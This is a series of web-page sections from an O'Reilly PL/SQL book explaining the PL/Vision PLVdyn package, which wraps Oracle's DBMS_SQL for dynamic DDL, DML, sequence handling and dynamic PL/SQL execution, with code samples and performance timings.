Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.2 Declarative Programming in PL/SQL

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

19.2 Declarative Programming in PL/SQL

When you call a PLVexc exception handler, you shift from a procedural to a declarative style of programming in PL/SQL. To understand what I mean, think about the SQL language. You do not write programs in SQL. Instead, you use a declarative syntax to describe the set of data you want to see or modify. The underlying SQL engine then figures out the best way to accomplish the task. This declarative or "set at a time" mode of processing is a critical element of the power of the SQL language.

PL/SQL is very different from SQL. It is a procedural programming language. When you want to get something done in PL/SQL, you write a program. This gives you a tremendous amount of control, but it definitely cuts into your productivity -- and offers many over-ripe opportunities for introducing bugs into your code. Wouldn't it be wonderful to combine the control of the procedural language with the high-level abstraction and productivity of a declarative syntax? Well, we are not talking idle chatter here. We are talking packages.

Constructed properly, the PL/SQL package offers the opportunity for developers to write code in a declarative style. Take a look again at the exception section that utilizes PLVexc. To write this code, a user of PLVexc only had to know what kind of action she wanted to perform. Ignore the error? Record and continue? Record and halt? Just describe the action desired, pass the necessary data, and then let the underlying engine (the PLVexc package) figure out how to implement your request. Declarative coding in PL/SQL! Keep these concepts in mind as you read the chapters in Part V.

Previous: 19.1 About Plug-and-Play | Advanced Oracle PL/SQL Programming with Packages | Next: 19.3 The Dynamic Packages of PL/Vision
19.1 About Plug-and-Play | Book Index | 19.3 The Dynamic Packages of PL/Vision
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.3 The Dynamic Packages of PL/Vision

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

19.3 The Dynamic Packages of PL/Vision

The builtin DBMS_SQL package supports all four methods of dynamic SQL, as well as dynamic PL/SQL code execution. It is a very powerful and useful tool that can in many ways transform the way in which you build applications, especially generic, reusable utilities, with PL/SQL.

There is, however, a tiny, little problem with DBMS_SQL: it is just too darn complicated. It consists of more than a dozen procedures and functions. These programs need to be used in a very particular sequence. Furthermore, depending on the method of dynamic SQL you wish to implement, you will use different combinations of those builtins. Finally, it just comes down to an awful lot of typing and know-how, even if you want to do something relatively simple. (See the sidebar for a general description of the flow of program calls for dynamic SQL. See Chapter 15, PLVvu: Viewing Source Code and Compile Errors, for a more complete description of DBMS_SQL.)

The result of this complexity is that relatively few developers take full advantage of all that DBMS_SQL has to offer. And since many of the actions required for dynamic SQL are the same regardless of the SQL statement, those individuals will be writing the same code over again.

What is wrong with this picture? Code redundancy is a maintenance nightmare. Requiring all developers to know the picayune details of technology like dynamic SQL is a productivity nightmare. Getting all of these versions of dynamic SQL to work is a code quality nightmare. Hey! Working with PL/SQL should not resemble a Freddy Krueger sequel. There's got to be something we can do here.

A DBMS_SQL Recap

The builtin DBMS_SQL package allows you to dynamically construct and execute SQL and PL/SQL statements. You get full programmatic control -- and with it comes full responsibility. With DBMS_SQL, nothing is taken for granted. You must specify each and every operation on the SQL statement, usually with a wide variety of procedure calls, from the SQL statement itself down to the values of bind variables and the data types of columns in SELECT statements.

To execute dynamic SQL (and PL/SQL) with the DBMS_SQL you must follow this general flow:

Open a cursor. When you open a cursor, you ask the RDBMs to set aside and maintain a valid cursor structure for your use with future DBMS_SQL calls. The RDBMs returns an INTEGER "handle" to this cursor. You will use this handle in all future calls to DBMS_SQL modules for this dynamic SQL statement. Note that this cursor is completely distinct from static PL/SQL cursors (whether implicit or explicit).

Parse the SQL statement. Before you can specify bind variable values and column structures for the SQL statement, it must be parsed by the RDBMs. This parse phase verifies that the SQL statement is properly constructed. It then associates the SQL statement with your cursor handle. Note that when you parse a DDL statement it is also executed immediately. Upon successful completion of the DDL parse, the RDBMs also issues an implicit commit. This behavior is consistent with that of SQL*Plus.

Bind all host variables. If the SQL statement contains references to host PL/SQL variables, you include placeholders to those variables in the SQL statement by prefacing their names with a colon, as in :salary. You must then bind the actual value for that variable into the SQL statement.

Define the columns in SELECT statements. Each column in the list of the SELECT must be defined. This define phase sets up a correspondence between the expressions in the list of the SQL statement and local PL/SQL variables that receive the values when a row is fetched (see COLUMN_VALUE). This step is necessary only for SELECT statements and is roughly equivalent to the INTO clause of an implicit SELECT statement in PL/SQL.

Execute the SQL statement. Execute the specified cursor, that is, its associated SQL statement. If the SQL statement is an INSERT, UPDATE, or DELETE, the EXECUTE command returns the numbers of rows processed. Otherwise you should ignore that return value.

Fetch rows from the dynamic SQL query. If you execute a SQL statement, you must then fetch the rows from the cursor, as you would with a PL/SQL cursor. When you fetch, however, you do not fetch directly into local PL/SQL variables.

Retrieve values from the execution of the dynamic SQL. If the SQL statement is a query, you will retrieve values from the SELECT expression list using COLUMN_VALUE. If you have executed a PL/SQL block, you will use VARIABLE_VALUE to retrieve any bind variables included in the PL/SQL code.

Close the cursor. Just as with normal PL/SQL cursors, you should always clean up by closing the cursor when you are done. This releases the memory associated with the cursor.

The answer is simple, at least in concept: build a package. And that is what I did. In fact, I built three packages for dynamic SQL that make it easier to use the builtin DBMS_SQL package:

PLVdyn

Gives a thorough layer of code built around the DBMS_SQL builtin package.

PLVdyn1

Supports single bind variable dynamic SQL.

PLVfk

Offers a generic utility to perform foreign key lookups for any table.

PLVdyn and PLVfk are covered in this chapter; PLVdyn1, which works in similar fashion to PLVdyn, is described on the companion disk.

Previous: 19.2 Declarative Programming in PL/SQL | Advanced Oracle PL/SQL Programming with Packages | Next: 19.4 PLVdyn: A Code Layer over DBMS_SQL
19.2 Declarative Programming in PL/SQL | Book Index | 19.4 PLVdyn: A Code Layer over DBMS_SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.4 PLVdyn: A Code Layer over DBMS_SQL

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

19.4 PLVdyn: A Code Layer over DBMS_SQL

The PLVdyn (PL/Vision DYNamic SQL) package offers an easy-to-use, programmatic interface, or API, to the DBMS_SQL builtin package. It combines many basic operations in DBMS_SQL into functions and procedures, freeing up developers from having to know about many of the intricacies of using the builtin package.

Operations include:

  • Execute a Data Definition Language (DDL) statement with one line of code

  • Execute a PL/SQL block with one line of code

  • Delete from or truncate the specified table

  • Drop one or more objects from the data dictionary

  • Execute an INSERT...SELECT FROM statement with an absolute minimum of SQL coding

  • View the contents of the specified table

  • Toggle on/off tracing that displays the dynamic SQL statement being parsed

The following sections show how to use each of the different elements of the PLVdyn package.

19.4.1 DDL Operations

The PLVdyn package offers several programmatic interfaces to DDL or Data Definition Language commands. Before DBMS_SQL was available, you could not execute any DDL statements (such as CREATE TABLE, CREATE INDEX, etc.) within PL/SQL. Now DBMS_SQL lets you execute anything you want -- as long as you have the appropriate authority.

DDL statements in SQL are handled differently from DML (Data Manipulation Language) statements such as UPDATE, INSERT, and so on. There is no need to execute a DDL statement. The simple act of parsing DDL automatically executes it and performs a COMMIT. This is true in SQL*Plus and it is true in PL/SQL programs. If you execute a DDL statement in your PL/SQL program, it commits all outstanding changes in your session. This may or may not be acceptable, so factor it into your use of the following PLVdyn programs.

NOTE: To dynamically execute DDL from within PL/Vision, the account in which PLVdyn is installed must have the appropriate privilege granted to it explicitly. If you rely solely on role-based privileges, you receive an ORA-01031 error: insufficient privileges. For example, if you want to create tables from within PLVdyn, you need to have CREATE TABLE privilege granted to the PLVdyn account.

19.4.1.1 Generic DDL interface

First of all, PLVdyn offers a single, completely generic procedure to execute a DDL statement. Its header follows:

PROCEDURE ddl (string_in IN VARCHAR2);

You pass the string to PLVdyn.ddl and it takes care of the details (the implementation of which is discussed in the section called "Bundling Common Operations").

I can use the ddl procedure to perform any kind of DDL, as the following examples illustrate.

  1. Create an index on the emp table.

    PLVdyn.ddl ('CREATE INDEX empsal ON emp (sal)');

  2. Create or replace a procedure called temp.

    PLVdyn.ddl
   ('CREATE OR REPLACE PROCEDURE temp ' ||
    'IS BEGIN NULL; END;');

PLVdyn offers a number of other, more specialized programs to execute various kinds of DDL. These are described in the following sections.

19.4.1.2 Dropping and truncating objects with PLVdyn

PLVdyn offers two separate "cleanup" programs: drop_object and truncate. The drop_object procedure provides a powerful, flexible interface for dropping one or many objects in your schema. The header for drop_object is:

PROCEDURE drop_object
   (type_in IN VARCHAR2,
    name_in IN VARCHAR2,
    schema_in IN VARCHAR2 := USER);

The truncate command truncates either tables or clusters and has the same interface as drop_object:

PROCEDURE truncate
   (type_in IN VARCHAR2,
    name_in IN VARCHAR2,
    schema_in IN VARCHAR2 := USER);

The rest of this section describes the behavior and flexibility of drop_object. The same information applies to truncate.

You provide the type of object to drop, the name of the object, and the schema, (if you do want to drop objects in another schema). So instead of typing statements like this in SQL*Plus:

SQL> drop table emp;

you can now use PLVdyn and enter this instead:

SQL> exec PLVdyn.drop_object ('table', 'emp');

If I were an aggressive and desperate salesperson, I would try to convince you that my way (with PLVdyn) is better than the "native" DROP TABLE statement. That is, however, totally foolish. This is a case where the simple DDL statement is much more straightforward. So why did I bother writing the drop_object procedure? Because when I wrote it, I didn't plan simply to match the capabilities of a single DDL statement. Instead, I examined the way in which DBAs often need to drop and manipulate objects in a schema and I discovered a way to leverage PL/SQL to provide added value when it came to dropping objects.

19.4.1.3 Adding value with PL/SQL

In many of the accounts in which I have worked, an application abbreviation is prefixed onto the names of all objects (tables, views, programs, synonyms, etc.) for the application. The inventory system would use the INV abbreviation, for instance, to segregate by name all related objects. The main inventory table is named INV_master, the line items table named INV_item, and the package to maintain the invoices named INV_maint.

A common action taken in such environments is to drop all objects for a particular application or to clean out all of the stored procedures or tables or views. I may want to clear the inventory application from my test schema so that I can move the next release over from development. Without dynamic SQL in PL/SQL, you would have to use SQL to generate SQL, reading rows from the USER_OBJECTS table to create a series of DROP statements, and then execute those statements in SQL*Plus.

With DBMS_SQL and the PLVdyn package, you no longer have to take such a convoluted path to get the job done. Both the type and name arguments of the drop_object procedure can be wildcarded, and this gives you a tremendous amount of flexibility. I can drop all the objects with the inventory prefix as follows:

SQL> exec PLVdyn.drop_object ('%', 'INV%');

I can also request that all tables in the SCOTT schema be dropped with this command (it will, of course, only work if the owner of PLVdyn has the authority to drop objects in the SCOTT schema):

SQL> exec PLVdyn.drop_object ('table', '%', 'scott');

You can provide the same kinds of wildcarded arguments to truncate. If you specify "%" for the object type, for instance, truncate automatically applies the truncate command only to objects of type TABLE or CLUSTER.

19.4.1.4 Implementing multiobject actions

The implementation of drop_object and truncate is interesting; both of these programs simply call a private module called multiobj, which stands for "multiple objects." This procedure applies the specified command to all the objects in the ALL_OBJECTS view that match the type and name provided.

The multiobj procedure itself is a combination of static and dynamic SQL, as shown below:

PROCEDURE multiobj
   (action_in IN VARCHAR2,
    type_in IN VARCHAR2,
    name_in IN VARCHAR2,
    schema_in IN VARCHAR2 := USER)
IS
   /* The static cursor retrieving all matching objects */
   CURSOR obj_cur IS
      SELECT object_name, object_type
        FROM all_objects
       WHERE object_name LIKE UPPER (name_in)
         AND object_type LIKE UPPER (type_in)
            AND (UPPER (action_in) != c_truncate OR
              (UPPER (action_in) = c_truncate AND
               object_type IN ('TABLE', 'CLUSTER')))
         AND owner = UPPER (schema_in);

BEGIN
   /* For each matching object ... */
   FOR obj_rec IN obj_cur
   LOOP
      /* Open and parse the drop statement. */
      ddl
         (action_in || ' ' ||
          obj_rec.object_type || ' ' ||
          UPPER (schema_in) || '.' ||
          obj_rec.object_name);
   END LOOP;
END;

The first argument to multiobj is the action desired. The rest of the arguments specify one or more objects upon which the action is to be applied.

The static cursor fetches all records from the ALL_OBJECTS data dictionary view that match the criteria. The dynamic cursor is defined and executed inside the generic PLVdyn.ddl procedure.

Why, my readers may be asking, did I not use the PLVobj package to fetch from the ALL_OBJECTS view? The whole point of that package was to allow me to avoid making direct references to that view; instead I could rely on a programmatic interface and very high-level operators. Using PLVobj.loopexec, I could theoretically implement multiobj with a single statement, in which I execute PLVdyn.ddl as a dynamically constructed PL/SQL program.

Believe me, I really wanted to use PLVobj in this program. The problem I encountered is that PLVobj is not sufficiently flexible. As you can see in the declaration section of multiobj, my cursor against ALL_OBJECTS is somewhat specialized. I have very particular logic inserted that automatically filters out objects that are not appropriate for TRUNCATE operations. There was no way for me to incorporate this logic into PLVobj as it currently exists. I do plan, however, that a future version of PLVobj will utilize dynamic SQL and then allow me to modify the WHERE clause (and even which view it works against: USER_OBJECTS, ALL_OBJECTS, or DBA_OBJECTS).

In the meantime, I write my own, somewhat redundant cursor against ALL_OBJECTS and then construct the appropriate DDL statement based on the incoming action and values from the row fetched from ALL_OBJECTS.

19.4.1.5 Generating sequence numbers

The nextseq function returns the nth next value from the specified Oracle sequence. Its header is as follows:

FUNCTION nextseq
   (seq_in IN VARCHAR2, increment_in IN INTEGER := 1)
   RETURN INTEGER;

The default value for the increment is 1, so by default you get the immediate next value from the sequence with a call like this:

:emp.empno := PLVdyn.nextseq ('emp_seq');

You can also use nextseq to move your sequence forward by an arbitrary number of values. This is often necessary when the sequence has somehow gotten out of sync with the data. To move the emp_seq sequence ahead by 1000 values, simply execute this statement:

SQL> exec PLVdyn.nextseq.('emp_seq', 1000);

Why did I bother building nextseq ? The Oracle database offers a very powerful method for generating unique sequential numbers: the sequence generator. This database object guarantees uniqueness of values and comes in very handy when you need to get the next primary key value for INSERTs. One drawback of the sequence generator is that you can only obtain the next value in the sequence by referencing the sequence object from within a SQL statement.

The following SELECT statement, for example, is like the one often used within PRE-INSERT triggers in Oracle Forms applications:

SELECT emp_seq.NEXTVAL INTO :emp.empno FROM dual;

In other words, you must make this artificial query from the dual table to obtain the sequence number to then use inside the Oracle Forms application.

And suppose that you want to move the sequence forward by 1000 (this kind of requirement arises when, for one reason or another, the sequence has gotten out of sync with the table's primary key). You would then have to write and execute a FOR along these lines:

DECLARE
   dummy INTEGER;
BEGIN
   FOR val IN 1 .. 1000
   LOOP
      SELECT emp_seq.NEXTVAL INTO dummy FROM dual;
   END LOOP;
END;
/

I don't know about you, but the year is 1996 and I just don't think I should have to execute queries against dual to get things done. That makes me feel like a dummy! I also believe that Oracle Corporation will come to its senses eventually and allow you to obtain sequence numbers without going to the SQL layer. In the meantime, however, PLVdyn offers a programmatic interface to any sequence so that you can at least hide the fact that you are using dual to get your sequence number. You even get to hide the specific syntax of sequence generation (the NEXTVAL keyword, for instance), which will make it easier for anyone from novices to developers to utilize this technology.

19.4.1.6 What about the overhead?

Of course, since you are executing dynamic SQL, it takes more time to generate the sequence with nextseq compared with a static generation. My tests showed that, on average, the static generation approach (using a direct call to the sequence NEXTVAL through a dummy SQL query) took .55 seconds for 100 increments of the sequence. The dynamic approach using PLVdyn.nextseq, on the other hand, required 1.54 seconds for 100 increments of the sequence. There are two ways of looking at these results:

  1. Cup half empty: The dynamic sequence generation is three times slower than static! How awful!

  2. Cup half full: Dynamic generation of a single sequence value took only .0154 seconds on average. Unless I am working in a high-transaction, subsecond kind of environment, this is a totally acceptable level of performance.

Is your cup half empty or half full? It depends on your specific application situation. As a general rule, you should carefully evaluate your use of dynamic SQL to make sure that you can afford the overhead. When your application can absorb the extra CPU cycles (and your users can tolerate the difference in response time), a program like PLVdyn.nextseq offers many advantages.

19.4.1.7 Compiling source code with PLVdyn

When you CREATE OR REPLACE a PL/SQL program unit in SQL*Plus, you are executing a DDL command. You can, consequently, issue that same command using DBMS_SQL -- the difference is that you can construct, create, and compile the PL/SQL program dynamically. PLVdyn offers two versions of the compile procedure precisely to allow you to take this action. The headers of the compile programs are as shown:

PROCEDURE compile
   (stg_in IN VARCHAR2,
    show_err_in IN VARCHAR2 := PLV.noshow);
PROCEDURE compile
   (table_in IN PLVtab.vc2000_table,
    lines_in IN INTEGER,
    show_err_in IN VARCHAR2 := PLV.noshow);

The second version of compile assumes that the program definition is in a PL/SQL table in which each row starting from 1 and going to lines_in rows contains a sequential line of code. This procedure simply concatenates all of the lines together and passes them to the first version of compile.

The string version of cor takes two arguments: stg_in, a string of up to 32,767 characters that contains the definition of the program, and show_err_in, which indicates whether you want to call PLVvu.err after compilation to check for compile errors. The program definition should start with the program unit type (PROCEDURE, FUNCTION, PACKAGE, or PACKAGE BODY). Do not append a CREATE OR REPLACE to the string; compile does this automatically. You also should not include a final / after the END; statement. This syntax is necessary only when executing the CREATE OR REPLACE directly in SQL*Plus. You can, on the other hand, include newline characters in your string.

Here is an example of using PLVdyn.compile to create a very simple procedure with an error. I also request that PLVdyn show me the compile errors.

SQL> exec PLVdyn.compile('procedure temp is begin nul; end;',PLV.show);
--------------------------------------------------------------------
PL/Vision Error Listing for PROCEDURE TEMP
--------------------------------------------------------------------
Line#  Source
--------------------------------------------------------------------
    1 procedure temp is begin nul; end;
ERR                            *
    PLS-00313: 'NUL' not declared in this scope

How would you use PLVdyn.compile? You might try building yourself a Windows-based frontend for PL/SQL development. For example, find a really good programming editor that has a macro language and the ability to execute dynamic link libraries (DLLs). Create a DLL that accepts a string and executes PLVdyn.compile. Tie this in to the editor and you are on your way to dramatically improving your PL/SQL development environment.

NOTE: To dynamically compile and create stored PL/SQL code from within PL/Vision, the account in which PLVdyn is installed must be directly granted CREATE PROCEDURE authority. If you rely solely on role-based privileges, you receive an ORA-01031 error: insufficient privileges.

You might also use PLVdyn.compile to temporarily create program units for use in your application, and then drop them at the end of your session. You could, for example, create a package dynamically that would define some global data structures whose names are established dynamically. They could only be referenced through dynamic PL/SQL as well, but PLVdyn does make this possible.

19.4.1.8 Implementing the compile procedure

The implementation of the string-based compile procedure is a good example of how I am able to leverage existing elements of PL/Vision to easily extend the functionality of my library. The body of compile is shown below:

PROCEDURE compile
   (stg_in IN VARCHAR2,
    show_err_in IN VARCHAR2 := PLV.noshow)
IS
   v_name1 PLV.plsql_identifier%TYPE;
   v_name2 PLV.plsql_identifier%TYPE;
BEGIN
   ddl ('CREATE OR REPLACE ' || stg_in);
   IF show_err_in = PLV.show
   THEN
      v_name1 := PLVprs.nth_atomic (stg_in, 1, PLVprs.c_word);
      v_name2 := PLVprs.nth_atomic (stg_in, 2, PLVprs.c_word);
      IF UPPER(v_name1||' '||v_name2) = 'PACKAGE BODY'
      THEN
         v_name1 := v_name1 || ' ' || v_name2;
         v_name2 :=
            PLVprs.nth_atomic (stg_in, 3, PLVprs.c_word);
      END IF;
      PLVvu.err (v_name1 || ':' || v_name2);
   END IF;
END;

Notice, first of all, that it relies on the ddl procedure to execute the program. Then compile checks to see if you wanted to view compile errors. If so, it uses the nth_atomic function of PLVprs to extract the first two words from the program definition. If a PACKAGE BODY, it then retrieves the third word, which is the name of the package. Finally, it calls PLVvu.err to display any errors.

Previous: 19.3 The Dynamic Packages of PL/Vision | Advanced Oracle PL/SQL Programming with Packages | Next: 19.5 DML Operations
19.3 The Dynamic Packages of PL/Vision | Book Index | 19.5 DML Operations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.5 DML Operations

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

19.5 DML Operations

Although it is possible to execute DML statements with static strings in PL/SQL, the dynamic nature of DBMS_SQL does offer many new opportunities. The PLVdyn packages offers a programmatic interface for several common DML operations to make it easier for you to take advantage of this technology.

PLVdyn offers three different DML operations: dml_insert_select, dml_delete, and dml_update. There are many other possibilities for dynamic DML in PLVdyn; I encourage you to experiment with your own extensions to this package.

NOTE: You cannot include bind variables for any of the DML programs in PLVdyn. Generally, PLVdyn does not support bind variables. The consequence of this is that the WHERE clauses may not contain any colons unless they are embedded in a literal string. The PLVdyn1 package (described on the companion disk) does allow you to specify single bind variable values for a variety of DML statements.

19.5.1 Performing an INSERT-SELECT FROM

You can execute an INSERT-SELECT FROM statement using the dml_insert_select. The header for this procedure is:

PROCEDURE dml_insert_select
   (table_in IN VARCHAR2, select_in IN VARCHAR2);

In the first argument you provide the name of the table that is going to receive the rows from the SELECT statement. The second argument is the SELECT statement itself. Here is an example of using this procedure to copy current invoices to a history table.

PLVdyn.dml_insert_select
   ('inv_history',
    'SELECT * FROM inv_current' ||
    ' WHERE inv_date < ' || TO_CHAR (v_enddate));

19.5.2 Executing dynamic DELETEs

The dml_delete procedure allows you to delete from any table. The header is:

PROCEDURE dml_delete
   (table_in IN VARCHAR2, where_in IN VARCHAR2 := NULL);

The first argument is the table from which rows are to be deleted. The second argument is an optional WHERE clause, which restricts the number of rows deleted. As with static SQL, the simplest form of a call to dml_delete (a NULL WHERE clause) results in the largest number of rows deleted.

The following call to dml_delete removes all employees in department 10 from the emp table:

PLVdyn.dml_delete ('emp', 'deptno = 10');

Clearly, this syntax offers very little in the way of productivity enhancement over simply executing this SQL statement:

SQL> delete from emp where deptno=10;

The big news about PLVdyn.dml_delete is that you can execute it from within a PL/SQL environment.

19.5.3 Executing dynamic UPDATEs

The dml_update procedure is overloaded to allow you to easily perform updates of single columns of date, number or string datatypes. Here is the overloaded header for dml_update:

PROCEDURE dml_update
   (table_in IN VARCHAR2,
    column_in IN VARCHAR2,
    value_in IN VARCHAR2|DATE|NUMBER,
    where_in IN VARCHAR2 := NULL);

The only optional argument is the WHERE clause. If you do not supply a WHERE clause, the requested UPDATE will be performed for all rows in the table.

The following examples demonstrate the different ways to use dml_update.

  1. Set the salary of all employees to $100,000.

    PLVdyn.dml_update ('emp', 'sal', 100000);

  2. Set the last updated time stamp to SYSDATE for all invoices with creation dates in the last three months.

    PLVdyn.dml_update
   ('invoice', 'update_ts', SYSDATE,
    'create_ts >= ADD_MONTHS(SYSDATE,-3)');

19.5.4 Checking feedback on DML

Each of the PLVdyn DML programs calls the PLVdyn.execute procedure, which, in turn, calls the DBMS_SQL.EXECUTE builtin to actually execute the SQL statement. DBMS_SQL.EXECUTE is a function that returns an integer, telling you the number of rows affected by the SQL statement.

PLVdyn saves and hides this feedback value to make it easier to execute your SQL. You can, however, check the result of your latest dynamic execution by calling the dml_result function. In the example following, I delete rows from the emp table and then check to see how many rows were actually deleted.

BEGIN
   PLVdyn.dml_delete ('emp');
   IF PLVdyn.dml_result > 100
   THEN
      /*
      || Too many deletes. There is some kind
      || of data problem. Issue a rollback.
      */
      PLVrb.do_rollback;
   END IF;

19.5.5 Executing Dynamic PL/SQL Code

PLVdyn makes it easy for you to execute dynamically constructed PL/SQL statements with the plsql procedure. The header for this program is:

PROCEDURE plsql (string_in IN VARCHAR2);

You construct a PL/SQL statement or block of statements and then pass that string to PLVdyn.plsql. It then executes that code. By using PLVdyn.plsql, you do not have to code the separate open, parse, and execute steps that are required with dynamic PL/SQL. In addition, this procedure relieves you of the burden of dealing with the following rules about dynamic PL/SQL:

  1. The statement must end in a semicolon.

  2. The statement must be a valid PL/SQL block. It must begin, in other words, with either the DECLARE or BEGIN keywords, and end with the END; statement.

You can provide to PLVdyn.plsql a string that meets these requirements, or you can ignore those requirements and plsql takes care of things for you. As a result, any of the following calls to PLVdyn.plsql properly executes the calc_totals procedure:

SQL> exec PLVdyn.plsql ('calc_totals');
SQL> exec PLVdyn.plsql ('calc_totals;');
SQL> exec PLVdyn.plsql ('BEGIN calc_totals; END;');

The plsql procedure accomplishes this by stripping off any trailing semicolons and wrapping your string inside a BEGIN-END block, regardless of whether or not you have already done so.

19.5.5.1 Implementation of PLVdyn.plsql

The implementation of plsql, shown below, is a good example of how you can build additional smarts into your software so that it is easier and more intuitive to use. It also demonstrates how I combine other, bundled operations to construct higher-level programs (these bundled operations are explored in a later section).

PROCEDURE plsql (string_in IN VARCHAR2)
IS
   cur INTEGER :=
      open_and_parse (plsql_block (string_in));
BEGIN
   execute_and_close (cur);
END;

The plsql_block function is designed specifically to return a valid PL/SQL block as follows:

FUNCTION plsql_block (string_in IN VARCHAR2) RETURN VARCHAR2
IS
BEGIN
   RETURN 'BEGIN ' || RTRIM (string_in, ';') || '; END;';
END;

NOTE: The plsql procedure assumes that you do not have any bind variables. If a colon appears in the PL/SQL code and it is not within single quotes (part, that is, of a literal string), PLVdyn.plsql will not be able to execute your statement successfully.

19.5.5.2 Scope of a dynamic PL/SQL block

Precisely what kind of PL/SQL code can you execute with DBMS_SQL? The answer is not as simple as it might seem at first glance. The rule you must follow is this:

A dynamically-constructed PL/SQL block can only execute programs and reference data structures which are defined in the specification of a package.

Consider, for example, the following simple script:

<<dynamic>>
DECLARE
   n NUMBER;
BEGIN
   PLVdyn.plsql ('n := 5');
END;
/

All I am doing is assigning a value of 5 to the local variable n. This string is executed within its own BEGIN-END block, that would appear to be a nested block within the anonymous block named "dynamic" with the label. Yet when I execute this script I receive the following error:

PLS-00302: component 'N' must be declared
ORA-06512: at "SYS.DBMS_SYS_SQL", line 239

The PL/SQL engine is unable to resolve the reference to the variable named n. I get the same error even if I qualify the variable name with its block name:

<<dynamic>>
DECLARE
   n NUMBER;
BEGIN
   /* Also causes a PLS-00302 error! */
   PLVdyn.plsql ('dynamic.n := 5');
END;
/

Yet if instead of modifying the value of n, I modify the PLV.plsql_identifier variable as shown below, I am able to execute the dynamic assignment successfully.

<<dynamic>>
DECLARE
   n NUMBER;
BEGIN
   PLVdyn.plsql ('PLV.plsql_identifier := ''5''');
END;
/

What's the difference between these two pieces of data? The variable n is defined locally in the anonymous PL/SQL block. The plsql_identifier variable is a public global defined in the PLV package. This distinction makes all the difference with dynamic PL/SQL.

It turns out that a dynamically constructed and executed PL/SQL block is not treated as a nested block. Instead, it is handled like a procedure or function called from within the current block. So any variables local to the current or enclosing blocks are not recognized in the dynamic PL/SQL block. You can only make references to globally defined programs and data structures. These PL/SQL elements include standalone functions and procedures and any element defined in the specification of a package. That is why my reference to the plsql_identifier variable of the PLV package passed without error. It is defined in the package specification and is globally available.

Fortunately, the dynamic block is executed within the context of the calling block. If you have an exception section within the calling block, it traps exceptions raised in the dynamic block.

19.5.5.3 The overhead of dynamic PL/SQL

As soon as you move to dynamic processing, you can expect that there will be some overhead associated with the extra work performed (construct the string, parse the string, and -- with dynamic PL/SQL -- compile the anonymous block). Dynamic PL/SQL is really neat stuff -- but is it practical? What is the performance penalty when executing, for example, the PLVdyn.plsql procedure?

I came up with an answer by using the PLVtmr package (see Chapter 14, PLVtmr: Analyzing Program Performance). The script below first determines how much time it takes to do, well, nothing with a call to the NULL statement. This provides a baseline for static code execution (and you can't get much more base than that). I then execute the NULL statement dynamically, with a call to the PLVdyn.plsql procedure. The single substitution parameter, &1, allows me to specify the number of iterations for the test.

BEGIN
   PLVtmr.capture;
   FOR rep IN 1 .. &1
   LOOP
      NULL;
   END LOOP;
   PLVtmr.show_elapsed ('static');

   PLVtmr.capture;
   FOR rep IN 1 .. &1
   LOOP
      PLVdyn.plsql ('NULL');
   END LOOP;
   PLVtmr.show_elapsed ('dynamic');
END;
/

I then executed this script in SQL*Plus several times to make sure my results were consistent:

SQL> @temp 100
static Elapsed: 0 seconds.
dynamic Elapsed: 1.38 seconds.
SQL> @temp 1000
static Elapsed: .11 seconds.
Dynamic Elapsed: 13.57 seconds.
SQL> set verify off
SQL> @temp 1000
static Elapsed: .16 seconds.
dynamic Elapsed: 13.41 seconds.

I conclude, therefore, that the overhead of constructing, compiling, and executing a dynamic block of PL/SQL code is at least (and approximately) .0133 seconds. I say "at least" because if your PL/SQL block is bigger (consisting of more than, say, a single statement or call to a stored procedure), your overhead increases. It looks to me that for most situations the additional processing time required for dynamic PL/SQL should not deter you from using this technique.

19.5.6 Bundled and Passthrough Elements

While PLVdyn does offer a number of useful, high-level operations to perform dynamic SQL, there is no way that I can build enough of these kinds of programs to handle all dynamic SQL needs. I can, however, still add value for a developer who has very unique requirements: I can bundle together common, often-repeated steps into single lines of code. The developer still has to write his or her own full-fledged dynamic SQL program, but can rely on these lower-level "prebuilts" (as opposed to "builtins") to improve productivity and code quality.

The PLVdyn package offers these bundled elements:

open_and_parse

Performs the open and parse phases.

execute_and_close

Executes and closes the cursor.

parse_delete

Constructs and parses a DELETE statement from its components.

PLVdyn adds value in one other way: with passthrough programs. These passthroughs do not (in normal operation) necessarily do anything but execute their corresponding DBMS_SQL program. Since they are a layer of code around the builtins, however, the passthroughs provide an opportunity to add functionality in other ways.

The passthroughs of PLVdyn are execute and execute_and_fetch; they are discussed after the bundled elements below.

19.5.6.1 Open and parse

The open_and_parse function calls DBMS_SQL.OPEN_CURSOR and DBMS_SQL.PARSE. These are both mandatory steps for any method of dynamic SQL you choose to implement with DBMS_SQL. So rather than have to call these two separate programs over and over again, you can simply call the single function. In addition, the function hides the need to pass the database version (in the form of a constant such DBMS_SQL.V7) when you call PARSE. The header for open_and_parse is:

FUNCTION open_and_parse
   (string_in IN VARCHAR2 SEF,
    mode_in IN INTEGER := DBMS_SQL.NATIVE)
RETURN INTEGER

With this bundled operation, you can open and parse a SQL statement with the following single line of code:

cur := PLVdyn.open_and_parse (string_in);

Without open_and_parse, you type the following lines of code:

cur := DBMS_SQL.OPEN_CURSOR;
